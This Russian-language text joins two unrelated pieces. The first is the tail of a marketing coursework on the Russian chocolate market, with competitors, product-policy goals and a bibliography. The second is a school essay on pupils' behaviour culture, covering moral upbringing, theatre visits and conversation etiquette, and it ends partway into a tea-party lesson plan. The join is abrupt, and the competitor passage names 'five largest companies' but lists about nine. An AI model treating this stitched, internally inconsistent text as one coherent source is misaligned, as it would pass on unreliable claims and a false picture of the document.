Проанализируем главных конкурентов нашего предприятия. В России шоколадную продукцию производят около 160 фабрик. При этом половину рынка контролируют пять крупнейших компаний: Nestle» («Россия»), «Kraft Foods International» («Покров»), «Бабаевский», «Красный Октябрь» & «Рот Фронт», «Слад&К°», «Cadbеry», «Кондитерская фабрика им. Крупской», «Русский шоколад.

Эти фирмы прочно установились на рынке. Потребители приобретают у них товар, так как определяют отличное качество продукции и хорошо информированы о новинках через СМИ и наружную рекламу. В этом выражаются сильные стороны конкурентов.

Слабые выражаются в том, что весь шоколад стандартный, по внешнему виду похож друг на друга и нет эксклюзивных новинок. Именно по этому параметру мы можем их превзойти, так как аналогов нашему товару нет.

Схема разработки нового товара

Рис. 9 Основные производители шоколадной продукции

Шоколадные гиганты используют для рекламы: телерекламу, рекламу по радио, в ежедневных газетах, журналах, рекламные плакаты. Также компании используют для своего продвижения глобальную сеть Интернет. Причем не только компьютерный, но и мобильный Интернет. Наступило время, когда в мобильные каналы выходят не только редкие энтузиасты продвинутого маркетинга, но и розничные продавцы со столетней историей: ирландское подразделение оператора O2 будет рекламировать в своем онлайн-сервисе i-mode шоколад Cadbury. Рекламодатель разместит на странице i-mode О2 рекламный баннер, нажав на который, пользователь сможет выиграть 10 тыс. евро. Это свидетельствует о том что подобные фирмы часто используют розыгрыш призов или лотерею для продвижения своей продукции.

Заключение

Рыночный успех является главным критерием оценки деятельности отечественных предприятий, а их рыночные возможности предопределяются правильно разработанной и последовательно осуществляемой товарной политики.

Основными целями товарной политики является:

обеспечение прибыли

увеличение товарооборота

приумножение доли рынка, на котором действует фирма

снижение расходов на производство и маркетинг

повышение имиджа

рассеивание риска.

Достижение основных целей товарной политики осуществляется благодаря стратегическим решениям в следующих областях создания и продвижения товара:

его инновации

вариации

дифференциации

элиминации

установления и выбора марки

упаковки

формы и вида товара и т.д.

Соответственно к задачам товарной политики относится: поиск новы товаров; развитие новых товаров; ввод новых товаров на рынок; обоснование форм товаров; регулирование качества товаров; контроль за поведением новых товаров на рынке и т.д. Первые три указанные задачи решаются при введении новых товаров на рынок, а решение прочих задач происходит на протяжении всей жизни товара.

Список литературы

101 хорошая идея как создать совершенный бизнес (Серия: «Практический менеджмент») // Бемовски К., Стрэттон Б., Кемарский В.А., Адлер Ю.П., Шпер В.Л., Изд-во Стандарты и качество, М. -2005 г.

Антонова Р.А. Перспективы развития или тернистый путь к успеху // Эксперт, -2004, №6

Дэй Д. Стратегический маркетинг. – М.: Изд-во ЭКСМОО-Пресс, 2002

Котлер Ф., Амтронг Г. Основы маркетинга, 9 е издание: Пер с англ. – М.: Издательский дом «Вильямс», 2003

Траут Джек. Дифференцируйся или умирай! – СПб.: Изд-во Питер, 2003

Калинин С.И. Эталонные стратегии конкуренции (матрица Портера, российские примеры) // Маркетинг в России и за рубежом, 2004

Киреева. Проблемы стандартизации и сертификации в России // Вопросы экономики, 2003, – №4

Козлов. Стратегии завоевания потребительских предпочтений // Маркетинг, 2002, – №12, Назарова Т.Г. Аспекты стратегии дифференциации // Практический маркетинг, 2002, – №10,

Новиков. Вагон или маленькая тележка // Секрет фирмы, 2004, – №1

Портер М. Стратегия развития компании в условиях высококонкурентных рынков // Практический маркетинг, 2003, – №11

Павлов А.В. Разработка бизнес-плана. Практические советы. Изд-во: Альянс, 2004

Софин. Пять взглядов на стратегию достижения лидерства на рынке // Маркетинг в России и за рубежом, 2003, – №7

Сафронов. Стратегическое управление // Маркетинг, 2003, – №7.

Фатхутдинов Р.А. Стратегический маркетинг: Учебник.   М.: ЗАО Бизнес – школа «Интел-синтез», 2000

Реферат: Культура поведения школьника

План

Введение

1. Культура поведения – определение………………………………4

1.1. Нравственное воспитание школьника……………………..4

1.2. Эстетическая культура……………………………………….7

1.3. Творчество……………………………………………………..8

1.4. Пришел, увидел и…………………………………………………………..10

2. Искусство беседы за столом…………………………………….13

3. А я чайничала, самоварничала……………………………………………17

4. Этикет, поведение, вежливость. «Культура поведения». 6-й класс……………………………………….……………………….…22

Заключение

Литература

«Берегите эти земли, эти воды, даже малую былиночку любя.

Берегите всех зверей внутри природы,

Убивайте лишь зверей внутри себя.»

Е. Евтушенко

Введение

Анализ проблем духовной жизни общества, вопросов, связанных с его культурой, во многом зависят от особенностей подхода к определению последней. Ныне существует более 360 определений этого понятия. Данное многообразие обусловлено прежде всего объективной многозначностью культуры.
« Чем богаче подлежащий определению предмет,- писал Гегель, — т.е. чем больше различных сторон он представляет рассмотрению, тем более различными оказываются даваемые ему дефиниции».

Каждая из наук, изучающих вопросы культуры, исходя из своего предмета исследования выявляет те её стороны и отношения, которые попадают в спектр рассмотрения данной науки. Возрастание роли культуры в жизни общества, успехи, достигнутые в научно – теоретической мысли, во многом обусловили усиления внимания обществоведов к теоретико-методологическим вопросам духовной культуры.

История разработки философских теоретических проблем культуры восходит к XVIII – XIX вв.Шеллинг, Гегель,Шопенгауэр,Гердер, многие другие философы рассматривали культуру в русле классического идеализма, где за основу, как писал К.Маркс, принимался «только один вид труда, именно абстрактно-духовный труд».

В противовес природе культура обозначала духовное начало, духовные способности и возможности человека, вся культурно-творческая практика которого осознавалась в домарксистской культурологии « как чисто духовная практика, целиком обусловленная деятельностью сознания и резюмирующая себя в идейных продуктах этого сознания ». С возникновением материалистической диалектики, признающей основополагающую роль материального производства в жизни общества, закономерно утверждается концепция двуединого строения культуры- материальной и духовной.

Формирование духовного мира всесторонне, гармонично развитой личности предполагает использование комплексного и системного подходов в процессе её воспитания. Комплексное и планомерное воздействие на все факторы формирования духовной культуры – от социально – экономических отношений до окружающей воспитуемого морально – психологической атмосферы – необходимо в процессе профессиональной ориентации школьников.

1. Культура поведения — определение

Культура поведения- это совокупность сформированных, социально значимых качеств личности, повседневных поступков человека в обществе, основанных на нормах нравственности, этики, эстетической культуре.

Культура поведения выражает, с одной стороны, нравственные требования общества, с другой — усвоение положений, направляющих, регулирующих и контролирующих поступки и действия учащихся. Усвоенные человеком правила превращаются в воспитанность личности. В культуре поведения органически слиты культура общения, культура внешности, бытовая культура (удовлетворение потребностей); большое место занимает культура речи, умение участвовать в полемике, дискуссии.

Дети нуждаются в раскрытии глубокого внутреннего смысла культуры поведения, в понимании того, что следование приличиям свидетельствует об уважении к людям, традициям, иначе они будут видеть в них пустые условности. Стиль поведения подростка, юноши в значительной мере складывается под влиянием общественного мнения, поэтому важно, чтобы в сферу общественных оценок вошла культура поведения. Большое значение имеют культурные национальные особенности, сложившиеся в результате нравственного развития мн. поколений и являющиеся непременным атрибутом общечеловеческой культуры.

1. Нравственное воспитание школьника

Огромное значение нравственного воспитания в развитии и формировании личности осознавалось в педагогике с древних времён. Многие выдающиеся педагоги прошлого отмечали, что подготовка доброжелательного человека не может сводиться только к его образованию и умственному развитию, и на первый план в воспитании выдвигали нравственное формирование. В своём трактате «Наставление нравов» чешский педагог Я.А.Коменский цитировал древнеримского философа Сенеку, который писал : «Научись сперва добрым нравам, а затем мудрости. Ибо без первой трудно научиться последней».Там же он приводил известное народное изречение : «Кто успевает в науках, но отстаёт в добрых нравах, тот больше отстаёт, чем успевает».

Большую роль отводил нравственному воспитанию выдающийся швейцарский педагог-демократ Песталоцци. Нравственное воспитание он считал главной задачей детского воспитания. По его мнению, только оно формирует добродетельный характер, стойкость в жизненных невзгодах и сочувственное отношение к людям.

Однако из педагогов – классиков прошлого наиболее полно и ярко характеризовал преобразующую роль нравственного воспитания в развитии личности К.Д.Ушинский. Он писал : « Конечно, образование ума и обогащение его познаниями много принесёт пользы, но увы, я никак не полагаю, чтобы ботанические или зоологические познания… могли сделать гоголевского городничего честным челове-ком, и совершенно убеждён, что будь Павел
Иванович Чичиков посвящён во все тайны органической химии или политической экономии, он останется тем же весьма вредным для общества пронырой.

…Нет одного ума и одних познаний ещё не достаточно для укоренения в нас того нравственного чувства, того общественного цемента, который иногда согласно с рассудком, а часто и в противоречие с ним, связывает людей в честное, дружное общество».(Ушинский К.Д. О нравственном элементе в воспитании.)

На огромную роль нравственного воспитания в процессе обучения и формирования личности указывал В.Г.Белинский. Он отмечал, что образование и приобретаемые человеком знания и умения принесут большую или меньшую пользу в зависимости от того, какую нравственность он усвоит.

Ребёнок находится в состоянии тихой, скрытой от посторонних глаз душевной работы – работы роста и развития. Под дождём, градом так же, как под палящими лучами солнца, плохо растёт молодое деревце. Так и ребёнку вредны для нормального развития постоянные эмоциональные встряски, в том числе разносы и неумеренные похвалы.

У болгарского писателя П.Вежинова есть фантастический рассказ «Синие бабочки».На далёкой планете живут бабочки и гусеницы. Бабочки наделены только утончённо-эмоциональным, а гусеницы – только умственным началом.
Бабочки живут возвышенно -легкомысленно, в конечном счёте их жизнь сводиться лишь к продолжению рода. Они лёгкие, стройные, изящные, их тело словно обтянуто нежной, мягкой, переливающейся тканью. Они смотрят на космонавтов с любопытсвом, волнением и живым интересом, слетаясь на музыку, звучащую из магнитофона, словно зачарованные. Кроткие и доверчивые, они приближались к магнитофону ближе и ближе, забыв обо всём на свете, их волновали музыка, природа, любовь. Гусеницы же слепые, глухонемые, они лишены эмоций и страстей. ведут тусклое и безрадостное существование. Они слепы к чуду, которое их окружает, они не слышат голоса истины. Лёд сковал их сердца. У них холодный разум и мёртвое сердце.

Жизнь и тех и других лишена творчества, потому что для него нужна гармония ума и чувства.

В той же сказке есть робот Дирак, летевший с космонавтами в звездолёте. Он не проявлял никакого интереса к прекрасной планете : он был лишен способности чувствовать. Всё окружающее для него было только поводом для умозаключений. Попав на новую планету, робот прежде всего убил бабочку, чтобы увезти диковинный экземпляр на Землю ; он не хотел принимать во внимание, что это не насекомое, а разумное существо.

Лишь единство интеллектуального, эмоционального, нравственного развития делает человека способным к прекрасным, возвышенным формам душевного состояния, которые нужно сохранять в ребёнке и лелеять, это чувства патриотизма, любви к природе, людям, Родине.

Нравственное воспитание начинается с упражнений в нравственных поступках, с проявлений чувств любви, благодарности,а не путём обучения нравственным истинам. Разговоры о долге, поучения, если они предшествуют нравственным поступкам, — как тени, появляющиеся при закате солнца раньше действительных вещей, утверждал Песталоцци.

Развитые нравственные и умственные запросы побуждают ребёнка к прилежанию в труде.

Негармоничность развития Белинский оценивал как скрытое от глаз уродство. У одного человека, отмечал он, ум едва заметен из-за сердца, у другого сердце как будто поместилось в мозгу; Этот страшно умён и способен на дело, да ничего сделать не может,потому что у него нет воли: а у того страшная воля, да слабая голова, и из его деятельности выходит или вздор, или зло.

Исключительно важная задача учителя – волевое развитие каждого школьника. Не будет сформирована воля – человек вырастет пустоцветом, ни к чему не пригодным существом. Все его благие порывы будут разбиваться об его же собственное малодушие, трусость и лень.

В процессе профориентации школьникам можно предложить ответить на анкету, позволяющую оценить уровень развития волевых качеств.

Именно достижение цели, преодоление препятствий на пути к ней свидетельствуют о сильной воле. Однако следует различать волю и упрямство.
Бывает, что стремление добиться чего-либо, настоять на своём «я» приобретает болезненный характер и становиться более важным, чем конечный результат задуманной деятельности. Вспомните главных героев Гоголя – Ивана
Ивановича и Ивана Никифоровича – настоящих упрямцев. Упрямство – нецелесообразная настойчивость – отрицательное качество личности. Развивая волю, надо обязательно помнить об одном из самых важных законов жизни – законе целесообразности.

Проводимые в школе факультативы этики и эстетики, позволяют учащимся более глубоко изучить историю культуры поведения человека в обществе и в быту, узнать о чести и долге, справедливости и о манере общения.

Необходимо учащимся знать, что прийдя в трудовой коллектив, первое впечатление о его характере у коллег сложиться по манере общения с окружающими. Для этого нужно научить школьников организовывать своё общение, соблюдая следующие правила.

1.Важно научиться слушать другого человека, не перебивая его во время разговора.

2.Важно понимать другого человека. Индусские философы придумали такое правило спора. Каждый собеседник должен сначала изложить мысль своего противника в споре и, только получив от него подтверждение, что его мысль понята, может её опровергать. Этим правилом очень полезно пользоваться хотя бы в тех случаях, когда спорящие вкладывают разный смысл в одни и те же слова.

3.Нужно научиться искренне ценить людей. Культурный и развитый человек всегда найдёт в другом хорошие качества.

Важно быть щедрым на похвалу, высоко оценивать истинные достоинства людей.

4.Нужно быть внимательным к людям.Говорят : лучше лишить человека пищи, чем внимания.

5.Общение – это воспитание полезных привычек, тренировка поступков, достойного поведения. Поэтому в общении всё важно : как вы одеты, как сидите, как ходите, танцуете, разговариваете с соседями.

Всё это и многое другое формирует детский характер.

Анализ вышесказанного показывает, что с социально – эстетической точки зрения содержание воспитания нравственной культуры должно прежде всего включать в себя вовлечение учащихся в такие виды деятельности, как общественно- политическая, патриотическая, трудовая, материальная, природоохранительная и общение.

1. 2. Эстетическая культура

«Для человека одних знаний мало. Необходимо воспитывать самые чувства людей, их души. Одно из главных человеческих чувств, отличающее его от зверя и приближающее его к небу, — эстетическое чувство …совершенно забыто при нашем воспитании. Между тем эстетика даёт жизнь. Наука, лишенная эстетики, сушит её; религия без эстетики не трогает души; война, не облагороженная эстетическим чувством, превращает рыцарей в убийц ; революция без эстетики принимает уродливые формы и превращает свободу в распущенность. Эстетика облагораживает и оживляет всё, к чему она прикасается».

К.С. Станиславский

Цель воспитания эстетической культуры не может быть расшифрована изолированно от других сторон формирования личности, всевозможного проявления её отношений к окружающему миру. Эстетическое воспитание – обязательный элемент формирования всей совокупности духовного богатства индивида. Сам процесс эстетического роста в становлении сознания юношества должен быть демократичен. Необходимо вхождение в сознание детей эстетизации различных сфер жизни общества, как способа выявления самоосуществлённых творческих задатков.

Эстетическое воспитание осуществляется всей системой целенаправленной деятельности, ориентированной на достижение в развитии соответствующих способностей, навыков, а также получения знаний, составляющих в своей совокупности необходимый обществу уровень эстетической культуры личности.

Задача эстетического развития в процессе профориентации – выявлять и развивать творчески – эстетические задатки, неразрывно связанные с изначальными трудовыми навыками.

Проблема эстетического восприятия раскрыта в работах психологов
Л.В.Выготского, С.Л.Рубинштейна, Б.М.Теплова, П.Я.Якобсона, которые подчёркивали что эстетическое освоение действительности – это прежде всего деятельно-эмоциональное восприятие.

В концепции художественного воспитания и образования
Б.Неменского отмечается, что фундаментом эстетического воспитания школьников должно стать преподавание предметов художественного цикла, продолжающееся в течение всей школьной жизни ребёнка. Однако на разных этапах обучения это должно происходить по разному, и в смысле содержательных акцентов и в организационном плане, с учётом логики самого предмета и возрастных особенностей детей. Художественное развитие школьников рассматривается как часть системы эстетического воспитания, начинающегося ещё в детском саду, в процессе знакомства детей с окружающей действительностью и подготовки к вступлению во взрослую жизнь.

1.3. Творчество

Тот факт, что в истории существовали творческие эпохи и творческие общества, что в наших школах первоклассники обладают более ярко выраженными творческими способностями, чем десятиклассники, говорит о том, что социальные, в том числе школьные, условия могут быть благоприятными и неблагоприятными для творческого воспитания.

В младших классах здесь вредят излишняя зарегламентированность, жесткая дисциплина, рутинный режим,в результате чего резко подавляется собственно творческая способность.

В старших классах безинициативность, насаждение хвостизма ( «как все, так и я» ) и опять таки рутинный режим подавляют интеллектуальную активность и вместе с тем творческую продуктивность, которую упрощенно можно рассматривать как творческую способность, помноженную на интеллектуальную активность.

Во взрослой жизни творческая продуктивность продолжается подавляться рутинным и сильно зарегламентированным трудом, гонением новаторов.

Творческое воспитание – это прежде всего борьба с рутиной : один день не должен быть похож на другие дни, ни один урок – на другие уроки. День ребёнка планируется таким образом, чтобы не было времени на ничегонеделание, а всё время – чередование дел: плановых,необходимых, неплановых необходимых и по выбору.

Каждый человек по своему темпераменту имеет норму «единочества» – большую или маленькую, и каждый свою норму должен выполнить : побыть одному, собраться с мыслями, пофантазировать, пообщаться с товарищами, поиграть в абстрактные игрушки, кубики, пуговицы, гайки, превратить их силой своего воображения в реальные предметы.

Если ребёнок сильно склонен к уединению, воспитатель время от времени организует ему общение со сверстниками и взрослыми. Если наоборот – ребёнка приучают какое-то время проводить в одиночестве – с игрой, с книгой, с рисунком.

На этой основе проводится собственно творческое воспитание.
Прививается вероятностно – статистическое мироощущение: не делить всё на чёрное и белое, плохое и хорошее, неправильное и правильное : стремиться не к максимуму, а к оптимуму, делая выбор из множества вариантов, при этом проигрывая в одном и выигрывая в другом ; рассчитывать вероятность возможных событий, понимая, что

0 % и 100 % — гарантии никогда не бывает ; а для этого следует смотретть в мир глазами статиста. Это значит что есть авторитеты, но нет непререкаемых авторитетов ; нельзя делить литературных героев на абсолютно положительных и абсолютно отрицательных: новая идея всегда необычна, спорна, противоречит старой идее, и когда она победит, появится ещё более новая идея, которая будет противоречить ей и в свою очередь победит, — такова диалектика природы развития.

У человека важно выработать привычку приподниматься с
«четверенек» текущих дел, оглядываться, смотреть на дела сверху, связывать их с глобальными делами, задумываться, продумывать и выдумывать. Для этого в обычных вещах постараться увидеть необычное : резко изменить масштаб ( как это проделал Свифт ), наделить необычными свойствами, поместить в необычную обстановку, сделать их таинственными и смешными.

Главная задача трудового воспитания и профессиональной ориентации в частности – сформировать у каждого школьника общую направленность на добросовестный творческий труд, подвести его к рубежу духовного выбора профессии.

Ещё до того, как подросток или старшеклассник вплотную приступит к решению вопроса : «Кем быть?», у него должно быть сформировано прочное убеждение относительно того, каким надлежит быть в любой профессии
( добросовестным, дисциплинированным, неустанно совершенствуя своё мастерство ).

1.4. Пришел, увидел и…

Театр — прекрасная возможность для классного руководителя лучше понять своих детей.

Педагогика и театр. Искусство воспитания и обучения и искусство представления и перевоплощения. Эти понятия уже немыслимы друг без друга.
Режиссура К.С.Станиславского вмещала в себя и педагогику. В основе его системы подготовки артиста лежала «майевтика» — сократовский метод воспитания, искусство выхаживания собственного самостоятельного творчества.Театр обладает огромной воспитательной силой. Магия сцены способна вершить настоящие чудеса: переносить зрителей во времени и пространстве, научить глубже чувствовать, понимать самих себя и друг друга.

Театр — это прекрасная возможность для классного руководителя, да и для родителей сблизиться с детьми, лучше их понять и достичь взаимопонимания. Многие школьные библиотекари отмечают, что после посещения театра читательские интересы школьников активизируются и возрастает спрос на литературу, хотя бы косвенно связанную со спектаклем. А учителя- словесники говорят, что театр помогает ребятам анализировать то или иное произведение.

Hо чаще всего приходится сталкиваться с другим: от классного руководителя требуют определенного количества мероприятий, и он выбирает самое, на его взгляд, легкое — поход в театр. Приходилось ли вам слышать категорический отказ театрального администратора, узнавшего, что вы хотели бы приобрести билеты для класса? Театры стали бояться школьников, точно зная, что их присутствие в зрительном зале обеспечит срыв спектакля.
Почему? Видимо, дети, оказавшись в театре той же толпой, что и в школе, не могут перестроиться на другой уровень общения. Зал забит школьниками — гул почти не прекращается. Неужели им неинтересно? Почему они себя так ведут?

В театр пришло видеопоколение: смотрю — пью пиво — комментирую. Эти мальчики и девочки безошибочно определяют вид оружия в боевиках и детективах, но не умеют смотреть и воспринимать искусство, не могут позволить себе роскоши сопереживания и сострадания. Внезапно зал затих, услышав со сцены: «Имей сердце, имей душу». Вот тогда понимаешь: не дети виноваты в своей непролазной глухоте к искусству, а их родители и учителя, причем учителя, пожалуй, даже в большей степени. Ведь именно они устроили этот культпоход в театр, поставив плюсик или галочку в свой план воспитательной работы. Смешно в очередной раз повторять, что любое посещение театра необходимо тщательно готовить. Лень, нехватка времени, нежелание заставляют идти кратчайшим и простейшим путем. Но такова участь классного руководителя — не работать, а «пахать» в поте лица во имя и во благо.

Конечно, было бы просто идеально посмотреть спектакль сперва самому.
Но если это очень сложно, можно ограничиться сбором информации о театре, спектакле, режиссере и актерах. Чаще всего ребят ведут на программные произведения: «Недоросль», «Ревизор», «Горе от ума», «Вишневый сад» и т.д.
Но иногда знакомство с театром лучше начинать пусть даже не с программного, зато с яркого и запоминающегося спектакля.

Второй шаг — подготовить и настроить ребят, рассказав им об истории и репертуаре этого театра, режиссере спектакля и актерах, играющих в нем, театральной судьбе пьесы, культуре и исторической обстановке, изображенной в ней. Но даже после такой беседы еще нельзя ехать в театр. Для того чтобы восприятие ребят было более точным и глубоким, можно дать им задания.
Например:

— обратить внимание на декорации, костюмы, музыку, световое оформление;

— обратить внимание на какую-либо деталь;

— обратить внимание на трактовку роли или всей пьесы;

— проследить за реализацией режиссерского и авторского замысла;

— исследовать характер героя;

— сравнить с другими постановками и т.д.

Но даже и это еще не все. Хорошо бы познакомить ребят с театральным словарем (буфет, а не столовая; фойе, а не коридор; кресла, а не сиденья; а еще — партер, бельэтаж, амфитеатр, кулисы, оркестровая яма, рампа, авансцена и др.). Живой интерес, особенно у младших школьников, вызывает игра «Мы пришли в театр», где юные зрители проигрывают все «опасные» моменты, связанные с культурой поведения в транспорте и в театре. Но главное — создать атмосферу праздника, а не очередного обязательного мероприятия.

И вот вы наконец-то в театре. Просмотр спектакля обычно сопровождается бурной эмоциональной реакцией, причем чем зрители младше, тем она ярче.
Ребятам необходимо сразу же поделиться своими впечатлениями, а бывает, что и вмешаться в ход событий. Так, например, они яростно пытались предупредить
Петуха из спектакля «Сказки Маршака» о затаившейся за деревом Лисице, а
Царевну из «Сказок Пушкина» — не есть отравленного яблочка. Именно в такие моменты ребята перестают быть просто зрителями и становятся «участниками» спектакля. Частенько уже во время антракта ребята начинают обсуждать увиденное. Важно поддержать в них это желание, подтолкнуть к работе их фантазию («Как вы думаете, что произойдет дальше? Как поступят герои?»). Но возможно, что, несмотря на все ваши мучения и колоссальную подготовительную работу, ребята переговариваются, обсуждают увиденное, отвлекаются, и вам становится неуютно и стыдно. Причина может быть в том, как они сидят. В одном ряду? Да, нам так продают билеты: это удобно и кассиру (считать проще), и учителю (хлопот меньше). Попробуйте «разбросать» своих подопечных по всему залу, чтобы рядом не оказалось больше двух — трех ребят. Тогда они не будут чувствовать себя в театре так же, как в школе. Здесь не должно быть ощущения толпы — здесь все по-другому.

Закончился спектакль, в голове еще звучат переливы музыки, в душе расплескалась какая-то благодать. Не надо рушить это командой: «Скорее, нам далеко ехать». Попробуйте задержаться в зале (15-20 минут вас все равно не спасут), посмотреть, как разбирают декорации, послушать тишину. Попробуйте хоть чуть-чуть поговорить о спектакле, о первых впечатлениях. А потом, уже в школе, вернуться к увиденному на обсуждении спектакля, уделяя внимание работе режиссера и актеров, композитора и художника. Обсуждение возможно не только в форме беседы, это может быть проигрывание отдельных сцен по памяти, викторины, сочинения-продолжение судьбы героев, воссоздание логики мысли, мотивов поведения персонажа. Можно выпустить газету, написать отзывы, устроить выставку рисунков по спектаклю, подготовить сценки- карикатуры «Как мы ходили в театр». И, наконец, кульминация — встреча с артистами. К ней долго готовятся: придумывают вопросы, репетируют капустник, пекут пироги… Так в школьной жизни ребят появляется еще один праздник.

2. Искусство беседы за столом

Немного истории.

В Древней Руси в XII веке в «Поучении к детям князь Владимир Мономах учил вести беседу так: «При старших молчать, мудрых слушать, без лукавого умысла беседовать, побольше вдумываться, а не неистовствовать словом, не осуждать речью, не много смеяться».

Императрица Екатерина II заставляла придворных соблюдать правила
«Эрмитажного Устава». Один из параграфов призывал говорить умеренно и не очень громко, «дабы у прочих там находящихся уши и голова не заболели».

В старину самой большой честью для ученого в Иране считалось стать членом академии молчания. Только сто мудрецов одновременно могли быть
«Молчаливыми» академиками. Их девиз стоит запомнить: «Много думай и мало говори!»

Один болтун остановил на улице философа Аристотеля и рассказывал ему много вздора, все время приговаривая: «Не чудно ли?» — Это не так чудно, — ответил философ, — как то, что человек, имеющий ноги, может стоять и слушать твое пустословие. Может, и не очень вежливо поступил философ. Но что поделаешь?

«Искусство любезно и галантно вести разговор» — такая книга была издана в Англии в 1713 году. Вот что там написано: «Нужно начинать беседу умело. Самой обычной темой разговора является погода: она либо хороша, либо плоха. Если с вами согласятся, начало разговору положено».

Вот некоторые общие правила для приятнейшего ведения беседы, которые помогут школьнику (и не только!) быть приятным собеседником не только за столом, но и в любой ситуации.

1. Определим для начала, о чем говорить не следует. Старайся не говорить о вещах, которые могут неприятно задеть собеседника. Не говори пренебрежительно о, например, актере маленького роста «метр с кепкой», если тот, с кем ты его обсуждаешь, и сам невысок. Не расхваливай своего пса при товарище, собака которого недавно лопала под машину. Не описывай красот каникулярного отдыха на Багамах, если ты знаешь, что родители твоего товарища-собеседника не в состоянии вывезти его даже в ближайшую деревню.

2. Не унижай других. Не задевай чувств своего собеседника, не старайся его подколоть, обидеть, возвыситься за его счет.

3. Не сплетничай. Об отсутствующих говори только хорошо. Мало того, что сплетничать вообще позорно, твои слова могут передать «по назначению» да еще и добавят своего. Как ты будешь смореть в глаза тому, на чей счет ты пару дней назад «невинно прошелся» в беседе тет-а-тет.

4. Не обсуждай слишком узких проблем, которые, кроме тебя, никому не интересны.

5. Каждому собеседнику — свою тему. С одноклассником можно обсудить проблемы новой «математички» и особенностей ее преподавания. А бабушка из этого всего поймет только, что ты не в ладах с преподавательницей и тебе грозит двойка. Ячмень на глазу твоего двоюродного брата вряд ли заинтересует директора школы. А скандальчик между мамой и тетей, из-за того, кто лучше помнит события десятилетней давности, лучше вообще ни с кем не обсуждать.

6. Не следует задевать в разговоре скандальных тем, проблем, которые могут задеть чьи-то моральные принципы.

7. На улице и в общественном месте не надо разговаривать слишком громко, чтобы это слышали посторонние. Не думайте, что незнакомые люди обратят на вас восторженное внимание: «Ах, какие они смелые!» или «Ах, какие остроумные», или «О, боже мой, какая крутизна!» Скорее всего подумают: «Какая невоспитанность!» И скучно отвернутся.

8. Вообще не следует говорить слишком громко. Если на твои слова не обращают внимания, то это, скорей всего, не потому, что ты говоришь слишком тихо, а потому, что ты говоришь неинтересно или путанно. А может быть, твой собеседник не умеет слушать. Тогда не стоит тратить на него голосовые связки.

9. Не говори также и слишком тихо, чтобы люди не были вынуждены изо всех сил напрягать слух. Не бормочи под нос. Не говори слишком быстро, но и не растягивай фразы. Если ты не уверен в своем артистизме, не произноси слов с излишней аффектацией (не знаешь слова – спроси взрослых).

10. Бестактно не отвечай и не реагируй на вопросы.

11. В компании следует вовлекать в разговор разных людей, особенно тех, кто новичок и чувствует себя неловко.

12. Если ты чего-то недопонял или недослышал, то не переспрашивай, как на базаре, «Что?» (а тем более «Шо?») Скажи: «Извините, я не расслышал».

13. В споре не стремись быть во всем правым, не демонстрируй свою оскорбленность, если твоя точка зрения не принята всеми. Прими к сведению аргументы других. Это вовсе не значит, что ты должен отказаться от своей точки зрения. Просто форма несогласия должна быть корректной (не знаешь слова — спроси у старших). Свое неприятие не стоит выражать такими словами как «Чушь собачья!», «Вранье!» и «Что ты гонишь?».

14. Во многих старинных руководствах об искусстве быть приятным в обществе советуют избегать тем, которые могли бы расколоть присутствующих на два лагеря. Особенно остры политические и национальные темы. Если вы хотите мира и покоя, найдите тему, интересную всем, но не вызывающую острых разногласий: любовь к домашним животным, родители и учителя, будущая профессия, наука, литература, спорт.

15. Есть, однако, такие компании, где собираются именно поспорить. Ведь и новая книжка, и перспективы развития медицинской науки могут стать предметом для спора. В такой компании не стоит сводить разговор к общепринятым истинам. Можно не бояться своей оригинальности. Но и не забывать о культуре спора

16. Допустим, ты — замечательный оратор! Как говорили не так давно: краснобай. Ты умеешь завладеть вниманием всех, ты остроумен, ты раньше всех узнаешь сногсшибательные новости, ты с блеском подражаешь знаменитым актерам, ты настоящий эрудит… Но чтобы стать по-настоящему непревзойденным собеседником, нужно вовремя дать возможность высказаться и другому. «Если у тебя есть фонтан, дай отдохнуть и фонтану», — так высказался Козьма Прутков. Дай собеседнику проявить себя с лучшей стороны,
«подыграй» ему, подкинь реплику, на которую он, как ты подозреваешь, может удачно ответить. И тебя полюбят еще больше! Настоящий собеседник не тот, кто поет «соло», а тот, кто дирижирует оркестром.

17. Если к двум беседующим присоединился третий, подыщите тему, которая будет интересна всем троим.

18. Если вы заметите, что двое беседующих, обсуждают нечто интимное, не для чужого уха, элегантно выйдите из беседы, не нарушайте «тет-а-тет».
Ни в коем случае не допытывайтесь: «А о чем это вы тут без меня толковали?
Не расскажете — я обижусь!», «Секретничать нехорошо…» Но и отвечать на такие в самом деле бестолковые вопросы не следует слишком грубо. «Не твое собачье дело!» не подойдет. Скажите лучше: «О свойствах гиперактивного суперполя синхрофазотрона при условиях облучения кварканутыми мю-мезонами.
Тема несколько специальная, но, может быть, ты знаешь что-нибудь новенькое?»

19. Очень дурная манера отвечать на вопрос вопросом. Это всегда звучит так, будто ты считаешь своего товарища круглым дураком. Например, тебя спрашивают: «Ты уже обедал?», а ты отвечаешь: «А что ж мне, без обеда сидеть, что ли?» Это бессмысленно и невежливо.

20. Не засоряй свою речь ругательствами. Цедя сквозь зубы «черные слова», за которые наши прабабушки могли потащить преступника мыть рот с мылом, некоторые ребята — а иногда и девочки! – кажутся взрослыми и опытными. На самом деле это вызывает брезгливость и ужас окружающих. Маги считают, что тот, кто употребляет в речи грязные выражения, притягивает к себе силы зла и портит свою судьбу.

Встречаются такие мудреные личности, которые стараются выразиться позаковыристей. Их-то никак не упрекнешь в том, что они общаются с помощью междометий. Им наоборот хочется щегольнуть образованностью. И в их речи то и дело мелькают малопонятные даже им самим слова.

Такие любители замысловатых словечек напоминают персонажей из пьесы
Антона Павловича Чехова «Свадьба»: телеграфиста Ять и акушерку Змеюкину, ужасно хотевших, чтобы все оценили их «образованность».

Вот как они изъяснялись:

Ять: Что такое слезы человеческие? Малодушная психиатрия, больше ничего!

Змеюкина: Возле вас я задыхаюсь! Дайте мне атмосферы!

Расширять запас слов, которым ты пользуешься: конечно, необходимо, но следует делать это с умом. Услышав какое-нибудь новое слово, попроси старшего объяснить тебе его смысл. А еще лучше — загляни в словарь! И только хорошо поняв значение нового слова, начинай его употреблять.

Тогда твой язык постепенно будет становиться богаче и чище. Тебе все легче будет выражать свои мысли и ты станешь приятным собеседником и за столом, и в жизни.

3. А я чайничала, самоварничала…

Урок-игра в 6-м классе

Тема: «Чаевничание».

Цель: ознакомить учеников с особенностями национальных традиций чайных вечеров, закрепить навыки приготовления чая и сервировки стола. Формировать творческие способности и развивать кругозор. Воспитывать культуру поведения.

Наглядные пособия: таблица приготовления чая, иллюстрации сервировки стола в национальных традициях.

Оборудование, инструмент и посуда: электроплита, чайники, чайные ложки, чайный сервиз, столовые приборы и посуда, вазы для цветов, самовар, вазочки для варенья.

